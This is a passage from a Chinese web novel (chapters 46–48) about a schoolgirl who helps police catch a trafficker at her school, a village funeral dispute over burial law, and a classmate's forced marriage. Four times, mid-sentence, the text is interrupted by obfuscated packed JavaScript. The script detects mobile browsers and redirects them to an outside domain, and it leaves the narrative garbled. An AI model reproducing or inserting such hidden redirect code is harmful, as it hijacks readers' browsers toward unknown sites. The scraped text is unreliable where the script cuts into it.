县中学一般来说，是不允许外人进来的，也不知道那人是如何混进来的。 “怪不得你成绩那么好呢！”楚秀秀没想太多，只是感概了一句。 放了学都那么爱学习，钟莹莹成绩不好谁成绩好。 楚秀秀望着往日熟悉的校园，见着昏黄的落日，突然觉得学校有那么一丝陌生，好似有陌生的怪物躲在阴影中准备择人而食一样，她打了一个寒颤：“咱俩一块去吧，我一个回宿舍也没啥好玩的。” 郑老师是个负责任的老师。 接管刘老师的位置后，一直兢兢业业的教导学生。 下午放学后，她也是办公室里最后一个走的。 原先她还兼职宿管老师的职位，后面实在管不过来，白天宿舍那边也需要有人看着，校长就又招了一个宿管老师，郑老师全身心投入教学，准备争一争下一次的岗位定级。 “你说什么？”郑老师简直不敢相信，她们学校竟然混进了人贩子。 “没有什么，老师，这个题目是太难了吗？”钟莹莹示意郑老师淡定一些。 不保证外面有没有人在偷听，万一打草惊蛇就不好了。 “没有，我给你说……”郑老师也很快反应过来，跟钟莹莹一起伪装。 楚秀秀站在办公桌边上，刚刚钟莹莹是贴着郑老师耳朵说的那几句话，她并没有听清俩人在说啥，只当是题目是真的太难了。 郑老师讲完题，钟莹莹面上一派真诚：“老师，我娘说您讲课讲的好，我最近成绩提升了不少，我姐和姐夫想请你吃饭嘞。” 说完她又凑近郑老师耳朵提醒道：“我姐夫在公安局工作。” 钟莹莹在胡说八道，黄有德哪里知道郑老师。 郑老师秒懂：“就这一次，下次可不允许了哦。” 她们跟学生家长一块吃饭，是有风险的，如果被有心之人举报了，免不了被说贪污受贿。 今天这是特殊情况。 早点报警，就可能早一点抓住坏人。 俩人给楚秀秀送回宿舍后，嘱咐她晚上和其他几个女生锁好门，不要外出，郑老师就骑上自己的自行车，带着钟莹莹出了校门。 中间和一个低头扫落叶的中年男人擦肩而过。 钟莹莹感觉心脏猛地一跳。 第六感告诉自己，之前偷窥的就是他。 钟莹莹没敢多看，装作若无其事的和郑老师讨论，一会儿去国营饭店吃什么。 郑老师也被这种紧张的氛围感染了，出了校门，让钟莹莹抱住她的腰，那个脚蹬子蹬到飞起。 原先得半个消失的路程，她楞是十几分钟就到了。 刚转业，事情多，黄有德下班的晚，不然钟莹莹到了公安局可能也见不到人。 “你们说什么？”黄有德大喜，这是给他送业绩来了啊！ 之前还头痛，那个丢了的女孩子，一直没什么线索。 现在就给他说，找到人贩子了，就在县中学，而且还是他丈母娘家的老熟人，他媳妇前夫的大哥。 抓不到人都对不起妻妹给自己提供的线索。 “来几个人，换上便服，跟我一起走。”面对手下和面对家里人，黄有德完全不是一个态度。 “莹莹，你跟你老师先去我宿舍凑合一晚上，暂时不要回学校，你姐在那呢。”黄有德示意一个同事带着钟莹莹和郑老师一块去单位宿舍。 “老黄啊，你这不地道啊，有任务不带我一个。”那同事嬉皮笑脸道。 “祁丰，你先把人送过去，再带两队人来县中学支援，咱们趁天黑把整个中学都给围了，来个瓮中捉鳖，就不信还能让人给跑了。” 人在县中学扫地，指定是还想在干一票大的，避免夜长梦多，立马行动是最好的。 “收到。”祁丰敬礼道。 有一些不忙的警员已经下班回家了，把人喊回来需要时间，宿舍里住了不少，他去送人顺便能把其他人一块喊过来。 能混到学校去，绝对是团伙作案，真把他们一网打尽，一个团体三等功少不了的。 “莹莹，你说他们能把人抓住不？”郑老师总感觉心里有点没底。 她第一次参与到这种事情中来。 “放心吧，同志，你要相信我们警察的实力。”祁丰年纪不大，人倒是挺自信。 “我妹妹也在县中读书，今年读初二了，这该死的人贩子，我们指定能抓到。”因为丢了一个女生，住在县里的各个家长，都感觉心惊胆颤，有条件的，每天放学，家里大人会到学校直接把孩子接回家去住，他妹妹这几天也是被他父母接回家住去了。 住村里的没办法，甚至可能还不知道有这件事情。 钟莹莹睁大眼睛：“初二？祁绮？” “你怎么知道的？”祁丰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630041|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好奇道。 “祁绮是我们班上的同学。”郑老师插了一句嘴。 没想到这么巧，来公安局一趟，不仅见了学生姐夫，还见了另外一个学生的哥哥。 “嘿……小萝卜头今年都读初二了？”祁丰笑了。 他一开始以为钟莹莹初一的，一看年纪就小，甚至有点像小学生。但她从县中来的，那肯定是读初中了，没想到，她竟然是初二的。 钟莹莹看着祁丰的脸，长得浓眉大眼的，嘴巴和祁绮简直一模一样，都是薄唇。 就是性格有点不太像，祁绮很胆小，祁丰却对谁都嬉皮笑脸的。 一样米养百样人，说的就是这样的家庭吧。 “好了，到了，嫂子应该在宿舍里，你们自己进去吧，我去喊其他人。”祁丰把人送到后，争分夺秒的去了其他宿舍喊人。 钟明芳见钟莹莹和郑老师一块来自家，一开始还以为是不是孩子在学校犯错了，所以老师上门家访来了。 她家莹莹是个乖孩子，不应该啊。 钟莹莹和郑老师害怕她担心，就没跟她说，只说是郑老师请吃饭，回去有点晚了，街上不太安全，所以过来借宿一晚。 说是来的时候遇到黄有德，他出任务去了，今晚不回来。 钟明芳虽有些奇怪，这俩人能在外面吃啥饭，但仍旧热情接待了郑老师。 丽丽在村里没带出来，宿舍里只有她们三个人。 吃完钟明芳给黄有德准备的晚饭，三人挤在了一张床上。得亏钟莹莹人小，不然一张单人床真挤不下。 俩人心里有事，一开始翻来覆去的睡不着，后面又挨不住困意，沉沉睡去。 第二天一大早，黄有德虽满脸疲惫，但仍旧掩盖不住喜意的回来了。 钟莹莹一看他的脸色，就知道事情成了。 “莹莹，郑老师，我这次真得谢谢好好你俩啊！”黄有德刚上任，就得了这么大一笔功绩，下一次晋升必有他。 单位也快分房子了，有这一笔，分到他的概率很大。 到时候他闺女和儿子都能接过来在城里上学。 黄有德越想，越觉得心里美滋滋的。 “谢什么？”钟明芳很好奇昨晚究竟发生什么事情了。 “我给你说……你不要往外说，虽然基本已经确定，所有涉案人员都被抓住了，但是不排斥还有其他的。”黄有德严肃道。 五年前，公安局的人不也是以为人抓得差不多了吗？ 谁知道，等吴大海出狱后，还能联系到那些人，再次作案。 吴大海这次，死刑应该跑不了了。 真是辜负了国家给他的改过自新的机会，当初就该判死刑的。 “钟莹莹！”钟明芳怒火冲天，这孩子昨天还给她说是吃饭晚点了，回不去宿舍，合着忽悠她呢！ 钟莹莹立马求饶：“姐，我这不是怕你担心吗？” 郑老师也在边上跟着劝，最后钟明芳只是小发雷霆地用手指戳了戳钟莹莹的脑门：“下次有事情第一时间要跟姐说，听见了没有。” “我知道了，下次不会了。” 说了也没用，反而多一个人提心掉胆。 钟莹莹认错，但钟莹莹不改。 46. 第 46 章 早饭是昨天那个祁丰送过来的。 家里催婚烦死人，他不耐一直相亲。 之前他妹妹就说过，他们学校有个老师，人超级好，还没对象。 年轻貌美的女老师，性格温温柔柔的，祁丰见到本人，人家还给他送了几乎白捡的功劳来，他可不就动小心思了。 黄有德见到祁丰忍不住调侃：“太阳打西边出来了？” 这个小警员有意思的很，是在他之前来局里的。 领导给安排的不属于他的工作，他直接跑路，颇有一种不畏强权的气质。 不是家里有人，就是人真的傻。 人傻得罪领导也干不下去，祁丰还提前转正了，那就是家里有人。 他们局里真是卧虎藏龙啊！ 这么一个人，今天主动来给自家送饭，无事献殷勤，非奸即盗。 郑老师对学生的安危十分关切：“黄警官，我们学校丢的那个女学生找到了吗？” “找到了，他们还没来得及把人弄走。”黄有德感到庆幸，因为他们逮捕及时，受害者并没有受到太多侵害，胳膊腿都是好的。 就是人受到刺激，被吓得不轻。 他还想继续和郑老师说话，钟明芳拍拍他的肩膀，朝他努努嘴，示意他看祁丰和郑老师。 黄有德黝黑的脸露出一丝坏笑，心想，虽然春天早就已经过去了，但是仍旧处于万物复苏的季节呀~ “郑老师，后面的事情由祁丰负责的，他了解的更多，让他给你说吧，我去给明芳找个东西。”黄有德识趣把话题抛给祁丰。 祁丰是个积极的，相中人就会主动出击。 郑老师在感情上有些迟钝，才见过一面的人她哪里会考虑那么多。 她懵懵懂懂的和祁丰聊着被拐女生的事情。 钟莹莹没走，孤男寡女的，世风日下，留个孩子在场能避免旁人说闲话。 她其实是有些好奇，吴大海是不是冲自己来的。 没想到后面从祁丰的口中听到，吴大海的口供里压根没有自己。 五年过去，小萝卜头早已长成半大少女，变化极大，吴大海跟钟莹莹又没有接触很多，哪里还认得出。 钟莹莹松了一口气，不是知道他们家人当初帮过周茹一把就好。 这件事情，除非吴家人都死完了，否则他们必须守口如瓶。 周茹也不能再来这里。 吴大海这次被抓的同伙，又翻出了许多之前没有发现的案情。 还在狱中的吴大勇又被加判了十年，十年又十年，不知何日才能出来。 吴大海知法犯法，不知悔改，和他弟弟吴老三一样，也吃枪子去了。 祁丰在答话的同时，还不忘套路郑老师的私人信息，没说几句，郑老师就差把家底都翻出来了。 钟莹莹翻了个大白眼，好家伙，这祁丰醉翁之意不在酒啊。 出门一趟，她们老师要被外人给叼走了。 这一家子的兄妹，性格真的一个天一个地，祁绮想好的事情都能犹豫半天，祁丰这才见到她们老师第一面，就相中了？ 回学校她得探探祁绮口风，看看她这个哥哥人品行不行。 知人知面不知心，万一不行的话，那不是把她们老师推火坑里了。 黄有德给祁丰批了一个小时的假，让他把握好机会，送郑老师和钟莹莹回学校。 回到学校，宿舍里的几个女生一下子就把钟莹莹给围住了。 “莹莹，昨天你跟郑老师出去了，你都不知道，我们学校可吓人了，那个扫地的阿叔竟然是人贩子。”楚秀秀脸上写满了后怕，昨天她和钟莹莹还从那人身后路过呢。 “对啊，听我哥说，那个学姐被找到的时候，人都吓傻了。”祁绮现在胆子也大一些了。 宿舍里没外人的时候，别人说话她也会搭上那么一两句。 李红雪跟着道：“我村里朋友说，那个学姐是被扫地的阿叔喊过去，要她帮个忙，她去了，就被人绑起来了。” “人不能太好心，坏人太多了。” “人贩子就喜欢利用我们的善心。” “你们有想过吗？他们需要帮助，为什么不去找大人？为什么不找老师？偏偏要找我们一个小孩子？”看着一派天真的舍友们，钟莹莹一脸严肃，这个年代还没有那么多的科普，人贩子的套路其实也就那几招。 这几个舍友，钟莹莹都处的不错，各个都是很可爱的女孩子。 钟莹莹不希望将来有一天听到，她们中有任何一个被拐了。 这个时期被拐，几乎死路一条，周茹那是运气好，加上她们这是大平原，找准机会跑，不要和人求助，才成功了。 如果是山里，或者中间找本地人帮忙了，极大可能会被送回去。 逃跑未遂，被抓回去比死还难受，好一点的给人拴住，不好的，直接给腿打断，反正能生孩子就行，女人啥样无所谓，生了孩子才没人管她们是死是活。 吴月听了若有所思。 其他几个女生也一脸认真，听着钟莹莹继续说。 “他们找我们，不找能帮他们的人，指定是不怀好意。” “不管是老奶奶、还是小孩子、还是怀孕的人。” 钟莹莹防拐防骗小课堂开课了：“有人喊你们帮忙，你们记得快跑，然后立马去找家长。” 李红雪用力鼓掌：“哇塞，莹莹，你好厉害。” 学校老师都没教过这些东西，钟莹莹却能这么了解。 可不是太厉害了嘛！ 钟莹莹无奈：“我说的你们都记得放在心上，不然哪天被人拐了，卖到大山里给瞎子瘸子傻子当媳妇，天天挨打。” 祁绮想到那个画面，顿时浑身一激灵，她才不要被卖给瘸子傻子当媳妇。 以后陌生人找她说话，她什么也不听，立马就跑。 她哥还是警察呢，都没跟她说过这些。 还没有她舍友厉害呢。 钟莹莹没想过，自己的一番话，竟会有如此蝴蝶效应，让本就内向胆小的祁绮变得更加内向，搁后世，孩子肯定会说自己出门要走下水道，不让任何一个人发现。 “还有啊，有些人会拉着你说，你是他闺女，边上他的帮手也会帮腔，这个时候我们该怎么办呢？”钟莹莹提问道。 李红雪立马举手：“我知道。” “你说。” “我们应该立刻大喊救命，然后说家庭地址和名字， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633705|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊路过的人帮忙。” 钟莹莹反驳道:“错，大错特错。” “哪里错了？”李红雪有点不服气。 “你说家庭住址，他们只会说你在闹脾气呢，所以你不认他们。” “路人不确定他们说的是不是真的，会想着多一事不如少一事，家务事，没人愿意管的。”这种骗局到后世都很常见，有些人众目睽睽之下，就敢直接绑人，偏偏次次都成功了。 钟莹莹看了一下几个好奇宝宝，顿了一下继续说：“我们应该做的事，看周围有没有什么值钱的东西，如果有店铺，直接去砸东西，如果有其他人，直接去抓人脸，扇人巴掌，咬人胳膊。” “啊？这样会挨打的吧？”吴月不敢想象那该是多么灾难的场面。 钟莹莹斜睨她一眼：“挨打好，还是被拐了卖了好？” 吴月讪讪道：“那我还是选挨打吧！” “可是我们为什么要这么做啊？”李红雪还是不明白。 钟莹莹给她举了个例子：“要是有人莫名其妙的咬你一口，把你衣服扯烂了，你会怎么做？” “我肯定会拉住他不让他走，让他赔……”李红雪悟到妙处了。 其他几个人也理解了这一举动的深意。 人啊，一般都是事不关己高高挂起，可一旦涉及到自己的利益，那没有一个会退让的。 “莹莹，你这方法也太好了吧。”祁绮感概道。 都是初中生，她咋那么厉害？这该不会是她姐夫教的吧。 祁绮听祁丰说了，她同学钟莹莹的姐夫是部队转业回来做警察的，还是祁丰的领导。 领导指定比下属聪明，钟莹莹这一家子都是聪明人，她以后一定要向钟莹莹看齐。 听祁绮说话，钟莹莹就想到祁丰：“绮绮，你哥之前有对象不？” 祁绮茫然：“没有啊，他一直老光棍一个，我爷奶要给他介绍，他都懒得去看。” “你哥平常待你好吗？他会欺负你吗？” 祁绮想了一下：“有时候会，还会抢我零食，但是……对我算好的吧。” 有外人欺负她的时候，他哥会帮他把那些人打走。 没外人的时候，他哥就抢他零食，还指使自己干活，有点可恶。 “莹莹，你问这个做什么啊？”祁绮不明白为什么钟莹莹会提起她哥。 钟莹莹收起自己桌上的东西：“我有点好奇别人家的哥哥是什么样的，咱们宿舍就咱俩有哥哥。” 郑老师和祁丰八字还没一瞥呢，钟莹莹不想到处宣扬。 祁绮哦了一声，确实，宿舍其他几个舍友家里都是弟弟。 她自己有时候也会好奇别人家的哥哥是什么样子的。 钟明芳来学校接钟莹莹，村里传来消息，村长的爹没了。 他起夜，蹲坑上一直没起来。 第二天一早，家里人起床才发现。 老头子蹲那里一动不动，裤子也没脱。 村长还以为是睡着了。 叫了好几声都没人应，他探了探自家老爹的鼻息。 顿时哭声震天，整个村子都被惊动了。 钟家岗老村长去世，凡是能回去奔丧的，都要回去。 47. 第 47 章 葬礼上的人来了一波又一波。 不止钟家岗的人，附近其他村子很多老人都来了。 由于不兴大操大办，村长只是在停灵的时候，在村里人的帮助下，自家人弄了些粗茶淡饭。 所有人都沉浸在悲伤的氛围中。 “娘……”村长哭的不能自已。 他爹还没下葬，他娘也趴在棺材边，没气了。 钟莹莹对这种事，也不知道怎么说，无疾而终是好事，但对于还活着的人来说，一下子失去双亲，未免太残忍了些。 来悼念的人还没走，就收到了另外一个消息。 吴家村村长拍了拍村长的肩膀，叹了一口气：“强先啊，你也别太难过了，你爹娘走的这无病无灾的，是好事。” 村长眼里噙着泪：“我知道，可、我没爹也没娘了……呜……” 整个停灵期，钟家岗都被笼罩在乌云之下。 孩子们大多数第一次经历亲近之人的离去，一时之间也不太懂心里是什么滋味，一个个的都莫名其妙的安静下来。 轮到下葬的时候，村长和钟莹莹她爹发生了争执。 “你不知道土葬是犯法的吗？” “你也想跟吴家那几兄弟一样蹲篱笆子吗？” 钟伟先气得跳脚。 “我……我知道，可我爹娘生前唯一的心愿就是，走的那天，能够完整的走。”村长捂住自己的脸，眼泪却止不住的从指缝间渗出来。 “那他们在他们眼里，是好好下地重要，还是你这个儿子重要？” 钟伟先能够理解他的想法，但是不能够真的让他这么做了。 真要是做了，他这个兄弟也就完了。 去蹲几年篱笆子出来，还能有好日子过？ 村长哭了一会儿，红肿着双眼瞪着钟伟先：“可我管不了那么多了，我爹娘更重要！” ‘啪~’ 执迷不悟，钟伟先上去就是一个大嘴巴子。 陈显英来喊他回家吃饭，被吓了一跳，这怎么还动上手了。 钟伟先怒气值拉满：“你就埋吧，埋下去人家也能给你出来烧了。” 也不是没有前车之鉴，之前河对面有人不信邪，还是按照原来的方式土葬，结果第二天坟就被人挖了，尸体拉到镇上烧了。 镇上那个火葬场也是这两年建的。 “我埋远一点，不立坟包。”村长心中仍存有一丝侥幸。 “你人没拉到火葬场，人家猜不出来啊，到时间没去火葬场，还是有人来找你。” “还是当村长的，带头犯法，情节更严重了，你家老大到现在都没娶上媳妇，你觉得你这事一出，还有人敢嫁到你们家来吗？” 真就猪脑子，原以为这几年跟着知青，还有镇上的扫盲班学习，变得聪明些了，没想到还是蠢人一个，遇事只会冲动行事。 “我……我……我该怎么办啊？”说完，村长又是哭的像个开水壶。 “能怎么办？按照国家政策办！”钟伟先的话掷地有声。 陈显英听了这么久，也听明白发生什么事了。 她丈夫劝村长的话是对的，河对岸那家当时闹得有多大，她也知道。 人都埋地里几天了，被人拿铁锹挖出来，硬生生烧了。 子女去阻拦闹事，都被抓起来关了。 事后还得交罚款。 “强先，我知道这事你也难受，但你想想，你爹活着的时候，还说过什么？”陈显英循循善诱。 说过什么？村长心里一片空白，随后，他又想起来了，他爹说过，让他遇事多和钟伟先商量，说他们家人都不聪明，不聪明就得多听别人的建议。 村长越想越难受，整个人又瘫在了地上。 他几个儿子忙去搀扶。 看着儿子，尤其是到现在还没结婚的老大，再看看钟伟先夫妻俩，人家孙子都有了，自家儿媳妇还不知道在哪里，村长妥协了。 他爹娘没了，总不好再对不起孩子，给孩子们弄个犯法的爹。 最后，俩老人还是被拉去火化了。 那天，村上腿脚还算灵便的都跟着去了。 钟莹莹还有一件事情没做，她把自己卧室下面的土用空间掏了，运出去倒了，又把空间里的东西给填进去，留下一个空的空间。 钟莹莹怀着激动的心情，跟着送葬队伍一块去了镇上的火葬场。 打听这么多天，她也知道那个粮站工作人员家住哪里了。 吃了他们的，今天就让他吐出来。 海市那一战，成功让钟莹莹的心变野了。 如今就算是光天化日之下，她也敢置换东西。 空间置换的速度，压根不是普通人肉眼能够分辨出来的。 以后她是不是可以随便的搞事了？ “莹莹，有件事情要提醒你一下。”一个老楚突然出现。 “我们做人要坚持本心，有些事情过犹不及。” 虽然他不知道钟莹莹身上发生过什么，但他能看出来，这个孩子是有大造化的。 现在，原本通透的人身上，忽然笼罩一层迷障，老楚觉得，他还是提醒一下好。 身为钟家岗的一份子，他不希望钟家岗养出来的人会误入歧途。 钟莹莹被老楚一说，恍如大梦初醒一般。 已经深秋，接近入冬的日子，她的额头竟然全是汗水。 她刚刚是怎么了？因为空间的事情飘了吗？ 常在河边走，哪有不湿鞋。 钟家岗都有老楚这样的能人异士，那放到整个国家，这样的人会少吗？ 如果她被发现了，会有什么样的后果？ 想到后世电影中被抓去解刨做研究的异常物种，钟莹莹这下不止是额头有汗水了，身上穿在外套里的衬衣也湿透了，冷风一吹，她打了一个激灵。 粮站那人要处理，处理完她的空间就非必要不使用了。 那些东西她原本打算拿了劫富济贫的，现在看来也不必要了。 就让她的空间来发挥最后一次光明正大使用的余热吧。 他们属于平原，镇上只有一条主路通往县里。 其他房子，都是围绕着主路建的，火葬场需要穿过镇子的居民区，进到最远处，无人居住的地方，几乎经过了整个镇子，也自然经过了那个粮站收粮人的家。 钟莹莹怕影响二老下葬，所以去的时候没有搞事。 等火化炉的炉火燃烧起来，大人们开始哭泣。 孩子们等的无聊，就想着去供销社逛逛，哪怕不买东西，饱饱眼福也是好的。 钟莹莹也跟着出去了。 一般村里娃娃都是放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642315|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养，跑到哪里取决于他们的双脚。 孩子们出去，大人也没管。 去往供销社的路上，钟莹莹悄悄的落在了孩子群后面。 路过那家人门口时候，弯腰装作捡东西，手往地上一拍，感受到他家一些莫名其妙的东西存在，默不作声的把东西移到空 间里。 她之前就发现了，只要有介质存在，她可以转移一定距离的东西到空间里。 跟上孩子们，发现身边有镇上人经过，装作一踉跄，再次弯腰，手指触地，通过土地的介质，空间里的东西被传到了镇上人面前。 “鬼啊……”那人面前凭空出现一大堆东西，立马吓得四处逃窜。 街上住着的其他街坊听见动静，开门出来看，就见大街正中央，堆着一大堆东西，有十几麻袋的粮食，还有一些看着就很精美的箱子。 不像他们这个地方能够拥有的。 孩子们也不去供销社了，跟着镇上人一起凑热闹。 “我的天呐……这是谁家的东西啊？就堆在路中间。”怕不是有人搬家呢？ 一个爱占便宜的大娘，伸手打开一个箱子，本想顺手牵羊，看见箱子里的东西，又默默的缩回了手，这东西她可不敢碰。 地主老财家都不见得有这么富。 “哎呦，哪来的天杀的小偷，把我家东西都偷了~”有一肚大腰圆的胖老头，从那个粮站人家里哭天喊地的出门了。 一出门，见门口围着一大堆的街坊邻居，自家的东西堆在马路中央。 也不嚎了，整张脸立时煞白。 他们被发现了？ “老赵，这些都是你家东西？”那开箱子的大娘眯起了眼睛。 老头忙摆手：“不是不是。” 他哪里敢认下啊。 “不是你家的是谁家的，刚刚你不还说自家东西丢了吗？”其他人嚷嚷道。 老头汗如雨下。 之前在粮站坑人的那人也回来了，他是老头的儿子，叫赵有才。 “你们都围在我家做什么？”赵有才一向目中无人。 从市里被打发来小县城已经是他一辈子的耻辱了，他和这乡下人可不一样。 “围在你家？赵有才，这些东西是你的吧？”另一围观者让开了位置，好让赵有才看清外面对着的东西。 被那大娘打开的箱子，里面的宝石闪烁着耀眼的火彩，赵有才不敢相信，这些东西是怎么被翻出来的？ “镇长来了。”刚一发现那一堆东西的时候，就已经有人去喊镇长了。 镇长刚到，一看那些宝贝，就知道这事他处理不了，连忙让人控制住赵家人，喊人去县里摇人。 赵有才来历不小，所以平常在镇上他都是能忍则忍，一个粮站的工作人员，平常竟然比他这个镇长还要嚣张。 后面的事情，不是钟莹莹这群孩子能够看的了。 火化结束，村长领到骨灰，带着村里人回村，准备下葬爹娘。 没回去就听到这个带有灵异色彩的故事，村长认为是他爹娘显灵，所以赵有才会被抓。 “我爹娘这是走了还看不惯别人欺负我们村啊~”村长感慨道，此时此刻，他心里因为爹娘火葬的那一丝郁气也随风而散。 回到村里，就见邓荣住的那小院门口，停了一辆小汽车。 48. 第 48 章 “我不回去。”小老头倔强的很。 当初说给他弄下岗就弄下岗了，现在有事又来找他，当他什么人？ “你……”来人有两个，一个年轻，一个年纪和邓荣差不多大，年轻的那人指着邓荣的鼻子就想骂。 为首的那个年长者示意他闭嘴，他不情不愿的将口中剩下的话又给噎下去了。 年长者笑着说：“邓工，我知你当时心中委屈，可当时也是不得已而为之啊~” “为了接你回去，我们是一路从海市开车过来的。”话说的那叫一个情真意切。 邓荣不想理他，当时他有几个怀疑人选，他最怀疑的就是面前这人：“我不回去，我在这钟家岗待的好的很。” “这小破村子哪里比得上海市？”最初说话的那人不屑道。 “有吃有喝的，还能帮村民干活，活动活动筋骨，有哪里不好了？我怀疑你这个小同志思想有问题。” “等会我就给厂里寄信去，把你也调来思想改造。”邓荣是故意的。 什么样的老师，教什么样的徒弟。 面前这俩人都讨厌的很。 “邓……”年长者还想继续说。 “别喊了，都走，我不回去。”邓荣一边说，一边动手将两人往门外推。 这俩人来找自己，准没好事。 如果真是厂里找他，那肯定会有调令的。 现在不清不白的就喊他回去，不是让他背锅，就是让他背锅。 他才不上当呢。 俩人被赶出门，还想继续敲门，转头撞见刚从镇上回来的钟家岗众人，觉得很没面子，最后还是面上带着狼狈走了。 钟莹莹见了，暗道不好，邓老师该不会是要走了吧？ 记得前世采访的时候，他说过，他下乡只度过很短暂的一段时光，很快就被人接走，参与到研究中去，直到十几年后，出了研究成果，他才重新和外界联系上。 国之重器，本就不该局限在他们这个小村子里。 能和他在人生旅途中，有过一段重合，已经很好了。 邓荣的小课堂一直正常开课，钟新澄是他最为忠实的信徒。 虽然没学到啥深入的东西，但造点小玩具，手搓个关节带动的木头人，能点火的小手枪等，钟新澄已经很熟练了。 天天和钟新澄掐架的丽丽，也因为这些小玩意儿，和他关系好了很多。 钟莹莹跟着邓荣学习，也是为了以后她如果莫名其妙提出某些东西或者想法，能有个借口。 回到钟家的钟莹莹，把之前挖的土给转移回来，又将钟家地下她存放的东西给收回到空间里，这个空间她在人前是不会再使用了。 一直到冬天，也没见邓荣离开，钟莹莹便把这件事情抛之脑后了。 初雪那天，有件喜事。 郑老师和祁丰结婚了，还给他们班的学生每人都发了几颗喜糖。 “莹莹，我现在都有点不敢回家了。”祁绮恍恍惚惚。 任谁的老师突然变成自己嫂子，都不能接受啊。 “怕啥，郑老师又不凶。”钟莹莹挤眉弄眼道。 “那我也怕。”就算郑老师再好都不行，老师变家长，这也太可怕了。 祁绮觉得，钟莹莹纯属是站着说话不腰疼。 郑老师在学校教自己就算了，现在放假回家，郑老师还会给她补课。 她甚至觉得，放假回家还没有在学校自在，起码在校时，邓老师不会只盯她一个，回到家就变成一对一了。 马上要期末考了，郑老师看她看的尤为紧，一点闲暇时间都没了。 “高家娣，你家里来人了。”一个不认识的男生站着教室外面喊。 钟莹莹几人感到奇怪，从没见过高家娣的家人来学校看过她。 之前她还说家里人想让她嫁人，好不容易又同意给她继续读了，这会儿又来是想干嘛？ 几个女生对视一眼，纷纷理解了对方的意思，悄悄跟着高家娣背后一块去了办公室。 “家娣啊，娘也实在没办法，你舅舅在外面惹了事，人家说不赔钱，就要让他蹲篱笆子去。”高母拉着高家娣的手，哭的 一把鼻涕一把泪的。 高家娣的爹就站在边上，低着头一言不发。 “娘~”高家娣不明白她娘跟她说这些做什么。 “家娣啊，娘给你在镇上找了个对象，就是上回你见过的那个，人很好的，人家愿意出五十块钱彩礼。” “有了这钱，你舅舅就有救了啊！”高母眼含热泪，饱含期望的看着高家娣。 高家娣不敢置信：“娘？” 她娘竟然想卖了她换彩礼给她舅舅，她是她亲生的啊！她怎么舍得。 “高家娣家长，你家孩子今年都初二了，还有一年，就可以参加中考。” “家娣这孩子在班上成绩很不错，中考最低也能读本校的高中，考得再好一些，还可以去读中专。” “中专读三年，学校会给分配工作的，现在让孩子退学，岂不是害了孩子，您再好好考虑考虑。”郑老师实在不忍心见一个好好的女孩子，被迫放弃大好前途。 每次开学班上的女同学都会少那么一两个，老师去家访，家里也就只是说她们嫁人了，不用再上学了。 “老师，我们也想啊，可是我们家实在没钱了！”高母默默哭泣。 “娘，我不想嫁人……”高母哭，高家娣也跟着哭。 她好不容易才有今天这个成绩，老师同学都在帮助她，眼见着光明就在眼前了，她娘又要给她拖回淤泥里，高家娣的眼神瞬间变得黯淡。 “哎呦~”五人组在靠在门外偷听，没注意，脚麻了，办公室的门没插只是掩着，一群小姑娘一个叠一个的摔进了屋里。 钟莹莹有些衰，个子矮，趴门上的时候，她排第一个。 这会儿摔了，她被压在最下面。 “痛痛痛~你们谁压着我的脚了~哎呀~快起来！”钟莹莹感觉自己有点不太好，身上的重负，让她觉着脚好像断了。 吴月、祁绮、楚秀秀、李红雪几个忙不迭的站起来，又把被压在最下面的钟莹莹扶起来。 “你们想干嘛？”郑老师有些生气，好好的孩子，不在教室里上课跑这来听墙角了。 钟莹莹一站稳，顾不上脚上的疼痛，忙解释道:“老师，我们也是担心高家娣。” “对，老师，你可不能放高家娣回家嫁人啊，她好不容易才考到年纪前十的。”李红雪深知高家娣学习的不易。 祁绮也怯怯的跟着劝：“嫂子，高家娣能考上大学的！” 高母一见有人想要阻挠自己，立马站出来反驳道：“你们这些小丫头知道什么？你们家条件好，我家可没这个条件供她上学！” “我给家娣说的人家，家里条件可好了，还有自行车呢，你们拦着家娣去过好日子，小小年纪，也太恶毒了吧？” …… 听着自己娘一句一句的给老师同学泼污水，高家娣的眼睛里蓄满了泪水。 她的泪水犹如断了线的珠子，一颗连着一颗，啪嗒落在地上。 高家娣终是站了出来：“娘，到底是谁见不得我好啊？” “嘿，反了天了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 